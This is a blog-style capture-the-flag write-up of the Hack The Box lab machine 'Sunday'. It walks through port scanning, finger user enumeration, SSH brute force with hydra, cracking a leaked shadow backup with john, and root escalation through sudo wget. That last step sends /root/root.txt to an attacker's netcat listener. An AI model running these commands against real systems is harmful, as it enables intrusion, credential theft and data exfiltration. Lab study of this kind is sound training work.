Hackthebox: Sunday Write-up

Recon and scans


Start off the box as per usual with an nmap scan, enumerating versions and running the default scripts.

nmap -sC -sV 10.10.10.76
Not shown: 998 closed ports
PORT    STATE SERVICE VERSION
79/tcp  open  finger  Sun Solaris fingerd
|_finger: No one logged on\x0D
111/tcp open  rpcbind 2-4 (RPC #100000)
Service Info: OS: Solaris; CPE: cpe:/o:sun:sunos

PORT    STATE SERVICE
79/tcp  open  finger
111/tcp open  rpcbind

Our scan didn’t find an SSH service to eventually login with, so I went ahead and ran a full portscan with a more aggressive scan just because I’m trying to see what sort of different results NMAP gives me as I learn.

nmap -p 1-65535 -T4 -A -v 10.10.10.76

PORT      STATE SERVICE   VERSION
79/tcp    open  finger    Sun Solaris fingerd
|_finger: No one logged on\x0D
111/tcp   open  rpcbind   2-4 (RPC #100000)
22022/tcp open  ssh       SunSSH 1.3 (protocol 2.0)
| ssh-hostkey:
|   1024 d2:e5:cb:bd:33:c7:01:31:0b:3c:63:d9:82:d9:f1:4e (DSA)
|_  1024 e4:2c:80:62:cf:15:17:79:ff:72:9d:df:8b:a6:c9:ac (RSA)
52363/tcp open  unknown
55120/tcp open  smserverd 1 (RPC #100155)
Aggressive OS guesses: Sun OpenSolaris 2008.11 (94%), Sun Solaris 10 (94%), Sun Solaris 9 or 10, or OpenSolaris 2009.06 snv_111b (94%), Sun Solaris 9 or 10 (SPARC) (92%), Sun Storage 7210 NAS device (92%), Sun Solaris 9 or 10 (92%), Oracle Solaris 11 (91%), Sun Solaris 8 (91%), Sun Solaris 8 (SPARC) (89%), Sun Solaris 9 (89%)
No exact OS matches for host (test conditions non-ideal).

So that’s kind of good to know, we already knew it was an OpenSolaris server because we can view this on HacktheBox’s site, but if we didn’t this could be useful information. We’ve also found the port that SSH is sitting on which will most likely be how we get from user to root.

The open finger port stands out, so I went to see if I could brute force some usernames from this just using Kali’s username list and patator with:

patator finger_lookup user=FILE0 0=/usr/share/wordlists/usernames.txt host=10.10.10.76

 
 
root@10.10.10.76: root Super-User spts/3 <Apr 24 10:37> sunday
root@10.10.10.76: root Super-User pts/3 <Apr 24 10:37> sunday
sammy@10.10.10.76: sammy pts/2 <Apr 24 12:57> 10.10.14.4
sammy@10.10.10.76: sammy pts/2 <Apr 24 12:57> 10.10.14.4
sunny@10.10.10.76: sunny pts/3 <Apr 24 10:48> 10.10.14.4 [/py]

So we’ve got 3 users now, “sammy”, “sunny”, and “root” of course – I then set Hydra to start brute forcing these after putting them into a user list “user.txt”, just make sure it’s in the folder you are running hydra in or specify otherwise.

hydra -s 22022 -L users.txt -P /usr/share/wordlists/rockyou.txt 10.10.10.76 -t 4 ssh


(run hydra on port 22022 with the ssh protocol, using 4 threads, the user.txt we set up, and the rockyou password list)

After letting this run a while, we got a hit on the user ‘sunny’ with the password ‘sunday’, so we officially have a user.


Enumeration on user(s)

The server was giving me an error that there was no matching key exchange method found, so to get around this I SSH’d into the server using:

ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 sunny@10.10.10.76 -p 22022

plus the password ‘sunday’ we found earlier. After searching around the box for the user.txt it turns out that the user we got the password to does not actually have access to the user.txt so there’s going to be some more enumeration necessary. I was about to start running the LinEnum script as per usual when I ran across a folder named “backup” in the root of the machine which is not a typical folder you’ll see. Inside this there’s agent22.backup (something we can’t read) and also shadow.backup which possibly holds the hashed passwords of some users.

Inside we get:

mysql:NP:::::::
openldap:*LK*:::::::
webservd:*LK*:::::::
postgres:NP:::::::
svctag:*LK*:6445::::::
nobody:*LK*:6445::::::
noaccess:*LK*:6445::::::
nobody4:*LK*:6445::::::
sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::

This is exactly what we want, since I’ve already got the password for sunny I formatted a new file to just contain:

sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::

combined with the passwd file on the box only containing sammy’s credentials just like:

sammy:x:101:10:sammy:/export/home/sammy:/bin/bash

Next we’ll run the ‘unshadow’ command on these two files and finally run john the ripper against it

unshadow passwdfile shadowfile > crackthis

john --wordlist=/usr/share/wordlists/rockyou.txt crackthis

A couple minutes later and we’ve got sammy’s excellent password of “cooldude!” to SSH in with now.


Privesc to Root

I’m not going to lie, this part of the box was kind of disappointing but only because I lucked out since the last box I did had a sudo exploit so decided to start off with

sammy@sunday:~$ sudo -l
User sammy may run the following commands on this host:
    (root) NOPASSWD: /usr/bin/wget

So I’ve only run wget to get things, but after a bit of googling found that you can actually use wget to post as well. I decided to try and just post the root.txt file to my listening netcat connection and was able to get the root password from it.

(from the remote machine)
sudo wget --post-file=/root/root.txt 10.10.14.9:8484

(from your local machine)
nc -lvp 8484
connect to [10.10.14.9] from (UNKNOWN) [10.10.10.76] 37564
POST / HTTP/1.0
User-Agent: Wget/1.10.2
Accept: */*
Host: 10.10.14.9:8484
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 33

fb40fab61d99d37536daeec0d97af9b8

It wasn’t a hugely complex way to get to root but as always I learned something new and that’s the key to improvement, so no complaints here.
ggwp!


Useful links and things I used:

John the ripper password cracking
Sudo privileges
WGET manual

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.